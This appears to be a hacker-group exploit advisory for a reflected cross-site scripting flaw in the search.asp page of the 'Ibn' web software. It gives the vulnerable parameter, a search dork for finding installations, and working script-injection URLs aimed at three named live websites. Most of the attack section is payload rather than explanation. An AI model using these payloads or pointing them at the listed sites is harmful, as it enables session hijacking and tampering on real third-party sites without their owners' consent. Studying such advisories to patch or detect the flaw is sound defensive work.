################################################################
----------------------------------------------------------------
 ibn (Search.asp) Cross Site Scripting Vulnerabilities
----------------------------------------------------------------
################################################################
# Exploit Title : Ibn (search.asp) Cross Site Scripting Vulnerabilities
# Author        : Hack center Security Team
# Discovered By : Net.W0lf
# Software Link : http://www.ibn.ir/
# Security Risk : High
# Version       : All Version
# Tested on     : Win7 - Back Track
# Dork          : "?????? ?????"
################################################################
----------------------------------------------------------------
                         +-----------------------+
                         | Cross Site Scripting  |
                         +-----------------------+

   Expl0!T :

   [Target]/search.asp?m=notexists&text=[Xss]

  Dem0:
   www.ofoqco.com/search.asp?m=notexists&text="><script>alert(/hack center/)</script>
   www.qoqnoos.ir/search.asp?m=notexists&text="><script>alert(/hack center/)</script>
   www.osveh.ir/search.asp?m=notexists&text="><script>alert(/hack center/)</script>
   
##############################################################################
Spical Tnx : Iranian Black Hat HackerZ
##############################################################################